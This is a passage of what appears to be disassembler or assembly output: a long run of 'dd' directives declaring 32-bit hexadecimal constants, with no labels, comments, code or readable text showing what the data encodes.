dd 0B87241D0h, 0F13130A1h, 684DE230h, 3DC31900h, 569100Ah
dd 601C74D4h, 20AE212Fh
dd 480FBE18h, 8198191Dh, 6C04C1DFh, 1E7EECh, 0AB87EADEh
dd 293D2E2Dh, 0B0B35B00h, 0D8446C07h, 0D6C2317Eh, 0D8DC2D48h
dd 8C03A656h, 0E95362B0h, 8910A8ABh, 3D4100D3h, 9461D7C3h
dd 910CF5D6h, 0B1CDA5E5h, 1E7B43C4h, 3D8E196Fh, 91C4B022h
dd 0A76D01D0h, 0D8206117h, 0A55F0002h, 0CAD86835h, 2354D7DCh
dd 0A06F3194h, 0C98C6031h, 0E4EB41h, 4D68BFA3h, 0E82ACCD4h
dd 0FC0FB206h, 1E85777h, 8A31702Dh, 0DC038D28h, 9059D85h
dd 37C4905Dh, 0AB9C2380h, 441A01C2h, 20A1B0AEh, 1E8DC813h
dd 7BD3C901h, 0C8818E06h, 85A7E0h, 1D999337h, 0D43CF23Dh
dd 96110203h, 0C8D1B820h, 77CEC9h, 3CF99F0h, 402706F5h
dd 8FC0193Bh, 0F2DFD4Bh, 9D6CE0A1h, 0EA88E4h, 5BE67D1Dh
dd 349F436Fh, 6ACDA000h, 87E87875h, 0CE31C0FFh, 84899EC5h
dd 0A76C8000h, 8F398807h, 202660BAh, 461C7F7Dh, 0C7B39603h
dd 34B2E63Bh, 0C141F408h, 0E040BF96h, 50000936h, 525C24C8h
dd 12CBC3F2h, 207759h, 1B64DC78h, 21F06B5h, 0C2CC1E5Bh
dd 2A1C9CBh, 0BEF01D73h, 0B90288E0h, 8F1560BFh, 0E86C1E49h
dd 1D08B180h, 48208185h, 0D0239982h, 3904E860h, 6DB0DC30h
dd 4CCBDA60h, 0F9EE340h, 0CABBB980h, 4FCC85h, 201127B0h
dd 400D754h, 2BC6B2AAh, 0FE617493h, 553A005Dh, 0B0529728h
dd 69000641h, 42BE20A5h, 0A1ABCh, 7965E3CAh, 93D5E789h
dd 0D3EECC00h, 0B9101762h, 0F62C007Dh, 0DA4091EDh, 533E47ACh
dd 3F5C9D81h, 0F5440FC0h, 3193AAh, 0A2621A6h, 976BC759h
dd 34075CF6h, 309CEE0Bh, 0F91AC9C0h, 7D1F01DCh, 1B6ED1B6h
dd 83AE8090h, 0BA284449h, 41253E5Dh, 0F8C21F7Bh, 3C3F2435h
dd 0DCF55200h, 20F298Bh, 0C9039D7Dh, 84CD10FAh, 0B3A1905Bh
dd 6219C0FFh, 52452A0Fh, 230098E0h, 3BB1A2C0h, 15040ACh
dd 4C849E22h, 705579CEh, 0D31BECBFh, 0F998D171h, 67004132h
dd 6400C84Ch, 8E4BA026h, 0F81AEBFFh, 0CF6C305Fh, 0AFA7818h
dd 0B70011Fh, 0AD553700h, 7456191Bh, 0F51F014Ah, 288FBBB8h
dd 0A57130EAh, 98105528h, 3E75F7FEh, 8A72D000h, 56FB1DC1h
dd 103901AAh, 43B9713h, 198C6015h, 0D8983300h, 0BF61216Fh
dd 0D4C70EAEh, 3DAEF705h, 6EC0A3EFh, 3AC1D667h, 21C0A0E8h
dd 383DE1BCh, 0B1C9A060h, 93E500A1h, 966D72B0h, 0AD60DE16h
dd 0BEA71728h, 1E760BCCh, 7C83CB56h, 39A0C48Eh, 17010609h
dd 97CDAA87h, 8270C347h, 0D643180Bh, 363858ADh, 8307B9EEh
dd 6B706DA4h, 2C40C714h, 3937BCC3h, 9B14302h, 0D06A9C98h
dd 0D2421FA4h, 33C13DFh, 18560E1Ch, 35253800h, 0ADAE01ECh
dd 8944183Ah, 196A0863h, 591F20C0h, 0AC358D1h, 0B79DC683h
dd 0AA585E68h, 0F06840EFh, 7A49F603h, 0A0822042h, 9E7FD8h
dd 3796A7DAh, 0E72CAD86h, 7728400Ch, 60AE709Ah, 0D662E06Fh
dd 0D30341BDh, 3ED1E1B1h, 0D52A986Ah, 7F090D2h, 0ED0781F3h
dd 0E5D5055h, 0C300B229h, 239D3E1Ch, 522B1Bh, 1486767Eh
dd 0F151DD84h, 0E9DC9B1Fh, 0D3DB8E7Ah, 6D0860AAh, 1F1FF509h
dd 405C9C72h, 41606344h, 3603DF58h, 5224B74Dh, 30E3B3F8h
dd 3F218F09h, 2F007A28h, 1A5E6D9Eh, 0C7CAAh, 3A3E1D17h
dd 6A94805Ch, 8D7F5D01h, 6358C12Dh, 46D31210h, 7F498060h
dd 15127B1h, 6D0C149Dh, 0F5368A15h, 0FD07F080h, 305BB5Ch
dd 69287056h, 38390025h, 63FE719Ch, 0C418B35Ch, 320850B6h
dd 1820C164h, 0FC7D8BF8h, 39015912h, 0B99BBC65h, 917149B3h
dd 0A9A37880h, 7610EE73h, 0BEBB3A00h, 0F8AF2266h, 657500FFh
dd 805DD8A6h, 400CC55Eh, 0D826CA0Fh, 882F006Dh, 0E549C42Ch
dd 3200AB25h, 7AEEE19h, 9AA7EFh, 0E8588C4Ah, 0C9DC245Ch
dd 2D35D700h, 0E3DEA34Eh, 80AA0EBDh, 0B783414Fh, 0CEB00F08h
dd 440FF255h, 0C0762BABh, 0C7C80D19h, 0E43A3F04h, 9FB1928Bh
dd 0D6405B8Fh, 76798A55h, 8785D53Fh, 8E1CC5C1h, 0DCCD59E0h
dd 5B7482h, 63B19D60h, 0A23B4C94h, 1A0EB37Eh, 40A40649h
dd 918F8BA1h, 2FA6006Dh, 0CBFC1F63h, 0C80113DBh, 37681BAEh
dd 7CE092A4h, 817F03BCh, 679BA9DEh, 0D63423B8h, 0DF1DA800h
dd 0A5CCB3Eh, 0AEEA00ECh, 0D808DAACh, 0B70364B8h, 0FA685FE9h
dd 7C280641h, 187DAEA0h, 0F3004DEEh, 8E05FEC0h, 1FA438h
dd 2299C565h, 36B315E0h, 3FCDBE00h, 8BBDA691h, 9B6A1D35h
dd 0CACB09E2h, 893A0A80h, 1700D730h, 0B872B9Ah, 0AA1483h
dd 0FCEA92EFh, 96D9CDD3h, 0EE3C5D7Bh, 0B27FFCFFh, 0ED9DDA19h
dd 72C0C878h, 0CBBB1E65h, 0F9A9CC79h, 34A09960h, 0B400111Fh
dd 0D66C436Dh, 3AFDCEh, 0A4B72BC7h, 0AB1CECA9h, 0E4DADC06h
dd 0D0FFBDh, 0BB7C7F3Eh, 0BA911813h, 996B60F9h, 0E88E800Ah
dd 0F30098CCh, 0B7D1DFA3h, 0A8E094h, 8D075364h, 45A6C52Ch
dd 476075E4h, 4D9FE80h, 1C689031h, 0C0743EA8h, 95DA9419h
dd 3306AB59h, 0FB64BA7Bh, 47721858h, 5CDA3839h, 7CABAF00h
dd 7ECEBC6Bh, 0A5650C78h, 6E591775h, 0C9CFEA00h, 0C84854E3h
dd 76E70ABEh, 3D090EFh, 627E4347h, 0C5721190h, 25FC7100h
dd 0B27BA4A6h, 50C8007Ah, 9D63CEFEh, 0F1005498h, 5E1CF776h
dd 6DF09Ah, 665F50B7h, 98DA1204h, 7A2C3Dh, 1A17BD79h, 0AF2EA3h
dd 14F8554Eh, 4A85B46Eh, 0D1F8A1E2h, 0F1CCBA00h, 0B8366525h
dd 0F5313EB6h, 0BFE61681h, 81F7712Eh, 0CF4C7870h, 1180B299h
dd 0C9885916h, 1901BDCAh, 1690CA2h, 219F8BA5h, 689EF8FCh
dd 0C51F40D7h, 0F5CC9C42h, 0B864860Fh, 4CF402Eh, 136D955h
dd 62980F28h, 80B3E574h, 0BFEA440h, 0A976F0CCh, 0F8DC1978h
dd 0CDDFCAFh, 0BEB41880h, 0EA18C898h, 0F6E823D4h, 0C13600A0h
dd 0E1C8FDEh, 5E0048CBh, 925CDBEFh, 3AAFE1h, 0D2E94393h
dd 0C0DD0156h, 14EDE4Ch, 0A4279451h, 3FC802F1h, 0D2EB00A2h
dd 119C5209h, 0B1002B9Eh, 3B774810h, 9CCEEB5h, 99DC1FCh
dd 0E32A6800h, 8C17E628h, 0C3006E73h, 80190B36h, 0E93D002Bh
dd 9B79042Fh, 62002290h, 6A751303h, 0A03918AAh, 560D5D9h
dd 9DC5D73Bh, 2848036h, 0CC008605h, 8EB1BD27h, 1C7A55Ch
dd 0B2C2D056h, 810C0D51h, 0AB11C420h, 30F493E6h, 0E310099h
dd 0D9857325h, 5A1DC5E4h, 0CB1DDB6Eh, 50812380h, 1D078805h
dd 81702815h, 6CE1677h, 47718339h, 0A04E83E9h, 69DC62h
dd 0C3FDF96Ch, 516D8C3Ch, 862C06F8h, 570009DEh, 0DC781146h
dd 5E5C060Ah, 206FC08Ch, 5D446C1Ch, 28FBE947h, 0D1A71BF7h
dd 0B340DA44h, 0FD4F42C0h, 0E5EF6E00h, 5C8DD4F5h, 367F00F7h
dd 34D92265h, 0E600C43Ah, 0E3DA2743h, 0AE0968h, 69B37914h
dd 0CB44B08Dh, 0F9C9291Fh, 0DB84ADC7h, 0DACC9BC0h, 0C642007Dh
dd 5C5AC5Dh, 0C200631Fh, 0EDF1815Bh, 77ADB5h, 0C17339FDh
dd 76534049h, 0EE7A7900h, 0E695AF44h, 1CB40F67h, 0F46031C9h
dd 960F2493h, 3AF03503h, 0C8C1EAE1h, 7F109920h, 98C70E5Ch
dd 9683B0ADh, 0C588191Ah, 0C93EAE0Ah, 579389B7h, 8D7F02E2h
dd 40C05DA0h, 6DFCE41Eh, 0D8AFAA39h, 83DE3E28h, 7674E9EEh
dd 4092B0D6h, 147EA7h, 0EAD13C02h, 353BFF43h, 583299E0h
dd 0E0E510D3h, 0ED1490h, 0E11C5275h, 0D835BFB9h, 100FDFEh
dd 573D9167h, 1C277D5h, 0BF93641Eh, 2153BA3Bh, 3808E8EBh
dd 74E1D48h, 0A0A344F4h, 0D7EC3990h, 3CFCDFh, 2690045Fh
dd 2D36C0B7h
dd 0B64DAB00h, 695C42AAh, 0E1FF0394h, 0D83B9302h, 56AF5988h
dd 80079D3Bh, 0B9AA474Ah, 3CF64Bh, 0F3DFD30h, 0F755C635h
dd 14857501h, 0E24C1BE4h, 650C1840h, 42D8C15Ch, 61D1538Ch
dd 1B0C2083h, 8200177Ch, 72495EC1h, 1D6D362Ah, 801577DEh
dd 16521067h, 2428FF0Fh, 63222C13h, 84143D5h, 47C78F7h
dd 4616B4EFh, 14F810FAh, 2CAA0135h, 316F3008h, 0E95C4804h
dd 45969F42h, 135F9D02h, 99EAE4A0h, 0DD423BEEh, 0D1642608h
dd 18CF0510h, 2E86360h, 3184819Ch, 0B9B1EE0Bh, 0D0EC095Eh
dd 3AE71563h, 120A2CD6h, 1D844027h, 171C88D9h, 3D10901Ch
dd 585D607Eh, 9EB688D8h, 0CF580A8h, 18C1F800h, 3E4A5B1Ch
dd 96CB6080h, 26C68245h, 1A474B03h, 0A0A42B35h, 1CD599D2h
dd 4C9C81E2h, 0DE80C07Dh, 6865601h, 0FD8CCC4h, 0F9DAE0C6h
dd 4C1F0077h, 3F5BFB7Eh, 30FCDB8h, 878628AAh, 0F8A2B9F7h
dd 5BA88092h, 0EC3663h, 0A39AE708h, 84F7D8F2h, 0F8389400h
dd 0ACAD2A4Fh, 1C4B0162h, 2EC18323h, 3A188ECDh, 2583FC9Bh
dd 0C084764Eh, 0A0B10273h, 633D49Ch, 5467149Dh, 11006841h
dd 0AD3AB7B2h, 355FF9Ah, 1AE3B1D6h, 64C09BAAh, 0C0C5F820h
dd 98401176h, 0A2D83A27h, 496600FAh, 6E6CEA1Ch, 0B1390F79h
dd 9DBA005Eh, 0CD633AE4h, 1617446h, 5DB9D1B3h, 5412FFDFh
dd 11E803B4h, 0ED8032EBh, 0E31D3E71h, 19805124h, 0E08FB47Bh
dd 3CF03FFFh, 2FF4D200h, 986412B0h, 4ED3B901h, 1E9C068Ch
dd 0F868A840h, 7C5449A8h, 66B7D80Eh, 39405502h, 56FFDD80h
dd 9F00DFB2h, 0F6A46121h, 0C06BB3E8h, 0D34B089h, 190CFBF4h
dd 0E913E0D8h, 4C7E0138h, 947AEFF2h, 28D1E43Dh, 0DF01B27Eh
dd 4BE08E89h, 0D1808A6Ch, 281FDEBBh, 0A248FDAFh, 781703B0h
dd 0A4C6F3F8h, 0B25630C3h, 0B7D448BCh, 0DF5B0FC8h, 891823E1h
dd 69180E77h, 0E81115A6h, 22670118h, 890DC53Eh, 2013C5F4h
dd 63008B64h, 6D4C3A3h, 13ADD37h, 0CD577750h, 0D0AC654Ah
dd 2F18F1DAh, 0FF3018E4h, 0E2E7022Bh, 9F61987h, 43B88763h
dd 6F48C421h, 56360077h, 0C8EF3876h, 85F200CCh, 0FB997322h
dd 0FEC0E0D6h, 2B92FFA5h, 84D507C7h, 80A626B6h, 42CF9C01h
dd 0A4A9861Fh, 20DD6E0Eh, 5B6BDE02h, 6AD70FC5h, 0ACE0448Eh
dd 0DCF88DD0h, 834FCB09h, 1A98021Fh, 0FE5600DEh, 94A0AB36h
dd 73079015h, 9DAECEAh, 649CFD1h, 8103C89Ch, 41EBB516h
dd 1F8CC4CCh, 1000BEAh, 61FE3070h, 245DD244h, 130C8257h
dd 51AB005Fh, 0C700E28h, 17F39C1Eh, 2F1CDA40h, 0AB8B39h
dd 8E8C8849h, 68FFDDB4h, 4EE9DB00h, 7058792Dh, 0E9000B9h
dd 0D1E24DCFh, 8700C297h, 0ED86D42Ch, 3137C46h, 425198C8h
dd 0FDD0A8EFh, 0B8B097A1h, 33B9011Fh, 8682B680h, 0F254A5Dh
dd 56168823h, 0BBD9C0BFh, 26D84642h, 0CB2BBF00h, 5F75ECF6h
dd 0B990003Fh, 6106C0Dh, 940F044Bh, 20CCED22h, 2F44DCBAh
dd 68D50320h, 0AB6764AFh, 6BBE70EFh, 0FC00471Eh, 0F2016372h
dd 46B662h, 58FBD0F4h, 881799F9h, 0D4EE8300h, 70B07B3Ah
dd 0D3B0F2h, 0A0BA7EF1h, 927DFBFFh, 0F00F3200h, 0CBEE28D0h
dd 80170058h, 98E26661h, 1005F83h, 7D301890h, 0EB51934h
dd 0EC1B1A2Eh, 7340DEAFh, 0C5C44A57h, 936548h, 40FDBAF5h
dd 0C0C762Ch, 0EF7D3489h, 4A58E19h, 0F08BF0h, 0CDEC63C5h
dd 830D396Bh, 4F2D6A00h, 9286B457h, 1EEEF1h, 663A9F8Bh
dd 4755A5EDh, 930C29D2h, 12E2850h, 8B3E05C6h, 567E5D3h
dd 3029F786h, 1B515695h, 300C5484h, 29DE478Bh, 0F912E5F5h
dd 0BBA33C83h, 0DD442974h, 9DA74409h, 198056FEh, 1FE50AD0h
dd 36286F8Bh, 0A142291Eh, 2CA65F0Ch, 3944A3C8h, 0C5B2445Bh
dd 6729D361h, 788C557Ch, 6C293297h, 31222A20h, 91A17429h
dd 0D051B89Ch, 7B63B750h, 16D48D29h, 617650h, 514569D5h
dd 7C002671h, 0FE9E3187h, 0BCD3278Ah, 62F80007h, 443FFF07h
dd 6ACD00Fh, 6D304071h, 7545EE1h, 5FFDE480h, 0EDC3A0BAh
dd 840008A6h, 3B63FCFAh, 0DBBF46h, 0DADF4C05h, 79F47E96h
dd 0ECD2EE0Eh, 1CA2720h, 0E0187510h, 57690055h, 63F743B8h
dd 0BD002703h, 196AD4CBh, 79D7441Bh, 0F8700A3h, 0EE29F4D0h
dd 42006D5Dh, 0D1785E9Eh, 6168930Eh, 69FA1016h, 0D03BF57Fh
dd 9A00F61Ah, 0C57D8F8Ah, 0E0F881h, 6792552Dh, 0F5EC599Dh
dd 0D079311Eh, 0FD3A5E87h, 1B91E160h, 3DCC0022h, 5B816CF8h
dd 0C314085h, 76D2602Ch, 0CA684C0h, 810D33E9h, 5B00F534h
dd 69EB7307h, 5A266Ah, 6745D7B2h, 0C3998ABEh, 0EC541100h
dd 838BDEE2h, 62DF0055h, 68222EAFh, 3C1E24B4h, 740875Eh
dd 0A44B9B49h, 2B981FA9h, 1C11C084h, 60C94ACCh, 4FC6180Ah
dd 9A00C05Fh, 3BECA5D3h, 0BAF11CF9h, 8BD640ADh, 1F54923Ah
dd 2F8CF00Fh, 0F887E0C9h, 0E5158CCh, 0A3FD06DDh, 6DCDFA40h
dd 210052B7h, 0AD09DF6Ch, 5DA5E0h, 0B13FCB8Ch, 0C2E32353h
dd 0B5866100h, 630B4817h, 43B70172h, 0DADCC0B9h, 0C84FE421h
dd 1E8C91Eh, 6D40A29Eh, 9FE5525Eh, 0E34E009Eh, 0EE728D92h
dd 133B412Eh, 0B6A85F26h, 2CEB3200h, 0D4552B56h, 5CD28C00h
dd 2F53421h, 308300AEh, 0ED191868h, 0C500ADF8h, 0D387A372h
dd 0C6B912h, 778F3EFFh, 557060BBh, 8C7BB001h, 5C84B28Bh
dd 6838DA80h, 62170658h, 0A900C076h, 5565BB7Eh, 7CFAC9B5h
dd 53740081h, 5243FC15h, 5B009160h, 662490D3h, 0B4CBB7h
dd 98341AF5h, 0DA55CC6Eh, 0B079EA00h, 0B8C7674Dh, 4C01009Ah
dd 0E70629CFh, 0FC0056D6h, 9E89A62Fh, 1528670h, 0CCF4626Bh
dd 0E0C4C2C6h, 0AC0073F8h, 0D8C06181h, 3DB2C1h, 30470ABCh
dd 0CC8DA840h, 5A93650Fh, 9BD002EBh, 0F137C0C6h, 5E02002Ah
dd 0A96A0573h, 0E17D3B23h, 98520903h, 0E045BAF7h, 30969C62h
dd 1A04E37h, 1673C22Eh, 0B090EC00h, 34AB31E2h, 2ADC0F4Bh
dd 300608Ah, 0EB14ED6Ch, 0FA002674h, 84AA53DFh, 1ED111F3h
dd 7615E78h, 0B0587E95h, 0D220C33Eh, 0A00A6700h, 801059D9h
dd 81631D1Bh, 0C99AC0B2h, 712507C2h, 0FC746700h, 0C3BD226h
dd 1E9CEE0Dh, 8077B2A6h, 832F89C9h, 4200DF4Bh, 13BFAB97h
dd 5465807h, 0C18A0C5h, 8FC28033h, 3007FE80h, 2112D996h
dd 0AC78FC20h, 3D17AB2h, 0C1B7896Dh, 9980E9E1h, 2601BAF6h
dd 0A82BD693h, 1530BD73h, 953700B8h, 0B35447C4h, 8B09034Bh
dd 801593BEh, 85BAA0E7h, 2570024h, 731EA667h, 40505EC1h
dd 480F9AEDh, 0A0EC0AA1h, 45CA61D8h, 35E8017Fh, 7EC3B8B1h
dd 6BCA2089h, 0E140D400h, 6212C815h, 65C9078Ch, 336EA168h
dd 3C0A58Ah, 0C2E0C0BAh, 1D44C48h, 7BB1C151h, 27CCF990h
dd 0BB260067h, 0C345CBCCh, 0B6005E56h, 0C0E7AE32h, 0F823B995h
dd 0E62A004Ch, 0EE927ED4h, 53F8B462h, 36B24E00h, 5AFC95DDh
dd 1C7A1D16h, 0A2884055h, 0D98BACF7h, 0F8EE9400h, 6C664292h
dd 0A913079Ah, 398D5825h, 0C49EC783h, 70908899h, 0BC01F6EAh
dd 0F4DB235Dh, 0B5EC1B69h, 82D112CCh, 87B9033Ah, 0F0B8FD2Fh
dd 0E03C16C6h, 420C00D8h, 1A34025Ah, 7D0900D3h, 0C9597860h
dd 0B83DB9F0h, 0B3FFCh, 0E3F6AA81h, 1224A70h, 5EE6D5BEh
dd 0E84EC81Ch, 0F80FD085h, 835C92BAh, 0E035491Dh, 380AD9ADh
dd 3F009FABh, 0C7C5A1D0h, 0E70FEB48h, 8ED360h, 0AD9C128Ch
dd 55DB0014h, 0A2A9C7FEh
dd 0FA589B7Fh, 8B41412h, 0DC9C16E4h, 2B636D00h, 985A189h
dd 825CAEBEh, 0A0C75B07h, 99CFEED9h, 8C93D00h, 0C45241A2h
dd 74DB0060h, 871DFA0Dh, 4B011719h, 0F23AAA66h, 75FCA082h
dd 6A7595h, 0CF4926F1h, 0F868A816h, 390012FEh, 7C18DC44h
dd 7F6AED93h, 4A401EB0h, 0A8F80073h, 899B50A4h, 5D2E307Ah
dd 0FA85B072h, 5080DC7Dh, 0F12F3A9h, 0BFEEC2D4h, 50494BE0h
dd 73E41F27h, 2F912B00h, 0F338BCACh, 89613D98h, 44141E82h
dd 424355A3h, 8E58C1B8h, 86F4E100h, 28D9377Ch, 4127006Ah
dd 45C8E3BBh, 9C011830h, 0D32B8D4Fh, 68E8027Bh, 0FA3D60F9h
dd 40286C55h, 22242F0Eh, 0C40580D7h, 0C67735h, 0BBF9372Dh
dd 0E9737934h, 68A7DE00h, 4E0C47EEh, 0B90300F3h, 0E89AAA5Eh
dd 92757579h, 0C55AF800h, 0A2B4BDCCh, 8AAD3A96h, 48F5B680h
dd 3A05B89Bh, 5A98330Eh, 1B626049h, 75D9E9DDh, 9F0700DAh
dd 0B03C8CAFh, 4400869Eh, 250DC07Eh, 0F0BAE7h, 0BE562AF6h
dd 4454D31h, 0D3061700h, 1AAAAFB1h, 0B4E0093h, 1B92613Ch
dd 5C002862h, 0B522CED1h, 3A7A69C3h, 361D207Dh, 0B0A688h
dd 34E14ECAh, 0CE787C25h, 0B9D43100h, 4C07217Fh, 73D25C74h
dd 8208A300h, 4F613D63h, 0FD1AA01h, 97DA1AB8h, 0B9804C21h
dd 382CB653h, 0A63F06DFh, 762F3DF4h, 0AB00DC9Ah, 1A23273h
dd 16CA933h, 0C5889FEh, 0D4944113h, 8000CFACh, 0E3F22751h
dd 481576Fh, 5DDF0115h, 0E1A9801Ch, 0D3002A18h, 85FF6793h
dd 3CD91B0Fh, 0BB1CEA1Fh, 803B1FC8h, 0C3F7AA33h, 0AB00B21Eh
dd 1B61A118h, 13E2D4B7h, 9A28F6h, 0A5B93EA8h, 0E30EEFD2h
dd 1A04168h, 0CC7F36Eh, 7896ACCh, 56093B6Bh, 0F833C0E1h
dd 7A00F6DFh, 5D3ECECDh, 147624Ah, 0A8D877E2h, 8F994D1Dh
dd 8FF470F9h, 45346958h, 8C8A8018h, 455E11FBh, 77F12000h
dd 0F1BE9F5h, 0EFAF0285h, 923162Dh, 75CC4360h, 0BAF98400h
dd 0F5C0343h, 93AF0074h, 0B0E8E29Eh, 0D0B0E629h, 0B1EBFD1Ch
dd 7BCDBD80h, 38B71550h, 0AF135B5Ah, 0C14A1C55h, 53862B2Eh
dd 0BCD0E74Fh, 0D000CFCEh, 0AF52226Ah, 0C0DD0B50h, 891B4FC0h
dd 0EB67EDADh, 300D610h, 50F424E3h, 377ACF9h, 3862134Dh
dd 0CFA85F0Fh, 57008D54h, 1F783B2h, 981EEB4Ah, 86A705FCh
dd 9015D709h, 5CCC55E8h, 4A966403h, 0D0680104h, 3EDF06h
dd 2E915486h, 0D99341BBh, 0D4F8FE00h, 0F020A4CDh, 88630036h
dd 0E18DADFAh, 2AF2AAE3h, 0C85C050Bh, 9B7887F2h, 1AB4C460h
dd 50FA1C07h, 0ECED82E1h, 8068291Fh, 1500F52Dh, 780CA50Fh
dd 1049A0Eh, 0F6017292h, 3056BC8Eh, 7D38B949h, 0D77E0130h
dd 0EC5EFFE5h, 0C8FA27F1h, 3E61D68Ch, 91000E01h, 0B171DA50h
dd 309831C6h, 0F626301h, 0C9BC17D6h, 9E7330h, 50D2F97Bh
dd 0E0B3E996h, 4C741202h, 0C0192839h, 0E4A3177Fh, 0C5F20332h
dd 1E8FC293h, 0EC1FE590h, 82CBEA38h, 0DBF41A3h, 32D84045h
dd 0F0A7982Fh, 3BDB00EBh, 0DD493451h, 770F53A4h, 0E09F64C3h
dd 2AB15210h, 32D4E76Eh, 9F60FB70h, 0E7610035h, 0E078687Fh
dd 0B1EA499h, 0A14FD515h, 21F0893Ch, 4C6B2A5Ch, 0E615AE4h
dd 177156BAh, 0E700FD3Dh, 0EC193655h, 0B6E86C82h, 8B74FD1Eh
dd 185AD00h, 2866CAF5h, 0F81150h, 892A2113h, 0C80F87CFh
dd 84581548h, 3E00C012h, 6242C3F6h, 28BA0A00h, 14CE17D8h
dd 61C60099h, 0FF404E74h, 0B0A3AFD9h, 6F0AD4C0h, 0D55D7D00h
dd 2BC8A5AEh, 3098016Eh, 27B9FF1Ch, 0BDEAD715h, 0BF9D34C0h
dd 9B728900h, 2586BE6Dh, 703480Dh, 0C066EF01h, 0C92833A4h
dd 1E94D8FFh, 0C23A9500h, 8F910A5Fh, 0CFD607DBh, 0E070A40Ch
dd 9E2494FAh, 0C398C060h, 486FC54Bh, 0BD003805h, 23316E5Bh
dd 0BB00E810h, 0A632797Bh, 81C30Ch, 1815453Bh, 7D8EB983h
dd 0DD6B700h, 8AE8F578h, 2DC800DDh, 0B35F75ADh, 0BC00FD73h
dd 7B2B7D1Eh, 7302F87Eh, 0AB695817h, 3DBB9400h, 371BC441h
dd 1CC13Dh, 86261C8h, 0B8279723h, 0EACC1C44h, 11007EF0h
dd 5FF9AA69h, 0E500C314h, 3367C858h, 70F2E3Ah, 1A7A7D2Fh
dd 937E9018h, 83B88936h, 0A9A14Ch, 28472E8Dh, 0FF5CAA9h
dd 0CE6C49CBh, 0A08068C9h, 0AA953BDEh, 0B01D17E6h, 8EC0C560h
dd 0C7EEFF9Ah, 1AB10186h, 41763452h, 0DBF1F08Fh, 7961FA00h
dd 0BDCE5EE1h, 8C670056h, 0B1984CB8h, 145CCC0Fh, 1B100264h
dd 7261EA01h, 0D42E00B8h, 402337DEh, 56076B44h, 0EEACF068h
dd 0A7686C0h, 0E03F00C1h, 93FA4DC4h, 1200C318h, 83F6D736h
dd 392AD13Bh, 0FBF57Ah, 8C8F6506h, 9CF7C88Eh, 6DBAEE00h
dd 0EF525425h, 474401A4h, 4A194B73h, 0F105E0E8h, 0CBBB0400h
dd 2F1D6078h, 24D89177h, 0A1246Fh, 190E855Bh, 340039F5h
dd 1D52DD4h, 805FACh, 0EF67B557h, 14C11B9Fh, 51BA2C07h
dd 0B6500189h, 0B4DE225Ch, 8EF91E10h, 40FE4BCBh, 0BDB4635Dh
dd 0AE16CFD8h, 4B1E4EABh, 266F2440h, 0B5F599h, 5E483B3Dh
dd 575FF892h, 80AA0C01h, 0FB17A7ECh, 3ACCC370h, 0CE00A9A2h
dd 0D0E85EBEh, 1403F3EBh, 80074B5Ch, 0FAE18048h, 8AB8395Dh
dd 0E08823B0h, 6C9276AEh, 0CABE5000h, 3C9BB060h, 0C5AC0F42h
dd 31C0D438h, 0C6AFDFF3h, 7733F600h, 0D5EFD671h, 0DC51009Dh
dd 664CE37Eh, 0E004993h, 9B600839h, 71F14DB6h, 22F5005Dh
dd 50C9E483h, 0B700E9E0h, 0F6CDCE4Fh, 17159587h, 0FA6BA0F9h
dd 609F3A0Fh, 0B6AB8FC1h, 74080330h, 0D4A3FC62h, 0B7CC80CCh
dd 4F00DA24h, 0F95BDE25h, 87681Ah, 0FA9ACBF3h, 0B76DE11Bh
dd 3A8E5803h, 90C96253h, 4DBC4Eh, 0C8BDA4E3h, 1646191Dh
dd 0C30DAB00h, 0C2B8D53Ah, 62EFA0C5h, 33DE3A48h, 5E79D300h
dd 0BF253C17h, 14D965Ch, 0F96B3186h, 3830BB1Eh, 2D8800AFh
dd 0EE32A68Dh, 0DB002108h, 0D1ED2C7h, 0DE9352h, 7DF33494h
dd 7FD1453Ah, 18E03C75h, 0C0CBC500h, 5E04CA58h, 63270010h
dd 0F1C72E59h, 640032D1h, 3BDF84B3h, 0AA25FCh, 20998AD3h
dd 4EB076C1h, 59FE930Fh, 0BD889930h, 0E838CDDDh, 0B988077Ah
dd 0C005EED4h, 642EB6DEh, 0CE4B5Ch, 25C41977h, 445928h
dd 0C88A5060h, 3D5E751Ch, 6209A000h, 0FE49FA4Ch, 0CECA05F1h
dd 830EBE3Fh, 9ED0F596h, 592609A1h, 0AF827C24h, 61468CBFh
dd 0D8303805h, 0E0C107EFh, 176D6BCBh, 0CCE54095h, 0C416F878h
dd 7800C08Eh, 22A0DC61h, 0E48190FFh, 0BB3A16D3h, 5A7800ABh
dd 165B70C0h, 9CAC8900h, 976B91DCh, 63E7023Eh, 8760A9F9h
dd 7B58DB60h, 90227F00h, 92334EF4h, 75AA7404h, 0C8DE05C1h
dd 80A74B85h, 0A198D99Eh, 0FF476404h, 77806114h, 0EED1962Eh
dd 78AC076Dh, 8012B7ABh, 0CA027B55h, 3E3DAA05h, 8CC1B8F0h
dd 1DFCBAF8h, 0B58C0062h, 0DFDDD35Eh, 600B9B0Ch, 60584AF1h
dd 0F7E8D24h, 4FC309EFh, 53B283C0h, 2500F0BAh, 0A9F7CE99h
dd 4E2BC1h, 8B75C47Fh, 0D4D8675Eh, 1880C700h, 0A6607230h
dd 6D2E3A1Ah, 3B5BC800h, 2DDE4AAEh, 0D2073C09h, 0A3A8637Ch
dd 0A83FD376h, 0FE966E8Ah, 1FBE000Bh, 8B71BA3Bh, 5E0E2A3h
dd 7200D89Eh, 4B07884h, 756A3867h, 0F27CA680h, 548BC548h
dd 0AD1D800h, 909F1E7Ah, 1F8989Ch, 0D0B3DF8Eh, 0F0BFEB09h
dd 32FEBE79h, 0F881F300h, 97275883h, 3A13007Eh, 698EC3D1h
dd 16F48CC8h, 0AE5D0C3Ah, 0A1008964h, 0F747B45Ch, 0BDE60079h
dd 666F4E8Eh, 0C1035E9Ah
dd 0C44926F8h, 0BE4FB002h, 0DECB186Dh, 53D664F0h, 8E7E8BF0h
dd 0ED00CF74h, 13B8E9B5h, 4E0E62Dh, 0C25E548Fh, 900FAF46h
dd 286FE09Ch, 2BEAC3Dh, 0CD9D4DBDh, 0AA633408h, 9F87400h
dd 8448079Bh, 0D79F06C8h, 9C985B02h, 6745AA1Fh, 39B81F7Dh
dd 0DC8C7A80h, 0A8ACCCh, 0A19C610Dh, 6030198h, 0A938CE00h
dd 8E97DF29h, 0AC56002Ch, 9BA5803Fh, 0E1095144h, 68B2A0h
dd 497C4788h, 0CCB46Fh, 69CE4A2Eh, 18965B38h, 0A49A5540h
dd 0B0C000E5h, 0DFCAAF2Dh, 4517E074h, 0A049F368h, 0BD4C81A5h
dd 80F02A53h, 1A902CA9h, 970500A0h, 8D6BE9D1h, 0C8B8E801h
